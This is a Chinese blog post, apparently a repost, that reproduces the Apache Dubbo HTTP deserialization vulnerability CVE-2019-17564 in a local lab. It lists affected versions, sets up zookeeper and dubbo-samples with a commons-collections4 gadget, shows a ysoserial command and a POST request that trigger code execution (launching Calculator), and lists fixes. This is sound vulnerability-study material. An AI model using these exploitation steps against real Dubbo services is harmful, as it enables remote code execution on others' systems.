千家信息网

如何分析Apache Dubbo反序列漏洞CVE-2019-17564

发表于:2024-12-12 作者:千家信息网编辑
千家信息网最后更新 2024年12月12日,如何分析Apache Dubbo反序列漏洞CVE-2019-17564,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。0x01 简介Apa
千家信息网最后更新 2024年12月12日如何分析Apache Dubbo反序列漏洞CVE-2019-17564

如何分析Apache Dubbo反序列漏洞CVE-2019-17564,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

0x01 简介

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。


0x02 漏洞概述

Apache Dubbo HTTP协议中的一个反序列化漏洞(CVE-2019-17564),该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后,Apache Dubbo对消息体处理不当导致不安全反序列化,当项目包中存在可用的gadgets时即可导致远程代码执行。


0x03 影响版本
2.7.0 <= Apache Dubbo <= 2.7.4.1
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x


0x04 环境搭建

1、因为dubbo的启动需要依赖zookeeper,所以先安装zookeeper

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz# 将conf目录下的zoo_sample.cfg改名为zoo.cfgmv zoo_sample.cfg zoo.cfg# 进入bin目录启动zookeeper./zkServer.sh start



2、从GIthub上获取dubbo的项目,并修改pom.xml


git clone https://github.com/apache/dubbo-samples# 进入到dubbo-samples-http目录中,修改pom.xmlvim pom.xml


将dubbo版本修改为有漏洞的版本



添加依赖,导入一个可触发的gadgets,这边导入的是commons-collections4-4.0


        org.apache.commons        commons-collections4        4.0    



3、mvn构建,启动dubbo

将下载的源码放入当前目录的src文件夹内
mvn clean packagemvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java



0x05 漏洞利用

POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1Host: 127.0.0.1:8080
paylaod


这边使用ysoserial生成paylaod

java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser


burp发包,弹出计算器



0x06 修复方式

1.禁用HTTP协议
2.及时升级到2.7.5及以上版本

看完上述内容,你们掌握如何分析Apache Dubbo反序列漏洞CVE-2019-17564的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

0